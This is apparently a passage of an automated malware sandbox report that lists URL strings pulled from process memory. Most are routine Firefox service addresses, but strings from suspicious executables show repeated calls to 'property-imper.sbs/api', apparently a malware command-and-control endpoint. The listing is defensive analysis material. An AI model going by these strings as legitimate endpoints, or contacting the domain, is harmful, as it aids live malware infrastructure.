Source: firefox.exe, 00000025.00000002.2857909402.0000015226912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000002.2857909402.000001522695F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000025.00000002.2857909402.000001522695F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000025.00000002.2857909402.000001522692F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.2839568739.000002088F0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000025.00000002.2857909402.000001522695F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000033.00000003.2925539463.000001FD7E2EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/re2/blob/master/doc/syntax.txt
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000033.00000003.3071612197.000001FD7DA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3073606845.000001FD7DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3089767167.000001FD7DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000025.00000002.2857909402.00000152269CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3001908689.000001FD7FF76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000025.00000002.2857909402.00000152269CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000033.00000003.3108436253.000001FD013D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3052742933.000001FD013D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000033.00000003.3078726537.000001FD7E656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3001908689.000001FD7FF76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000033.00000003.3092221449.000001FD7FE98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comTY8H
Source: f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2801097956.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2939285623.0000000001198000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2888691448.0000000001198000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3100493391.000000000118D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2801097956.000000000136B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/-4df
Source: f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/?
Source: f5d46eacf9.exe, 00000010.00000003.2818578947.000000000119B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816108963.000000000119B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2817466768.000000000119B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2815133175.000000000119B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2813114582.000000000119A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/AA
Source: f5d46eacf9.exe, 00000010.00000003.2813114582.000000000119A000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2861739191.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: f5d46eacf9.exe, 00000010.00000003.2846001233.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2845499315.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiAR/4
Source: f5d46eacf9.exe, 00000010.00000003.2899169599.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2912961282.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2939602489.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiNQ
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2799566320.0000000001384000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiP
Source: f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apid
Source: f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apimd
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000025.00000002.2857909402.0000015226912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000025.00000002.2857909402.00000152269CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: aspnet_regiis.exe, 00000009.00000003.2457819365.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606712669.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2752604468.000000000572E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000033.00000003.3089767167.000001FD7DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 00000033.00000003.3003650050.000001FD045D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3045940590.000001FD045D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3079842194.000001FD0458F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: a0a3a50765.exe, 0000000F.00000003.3005276181.0000000023D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
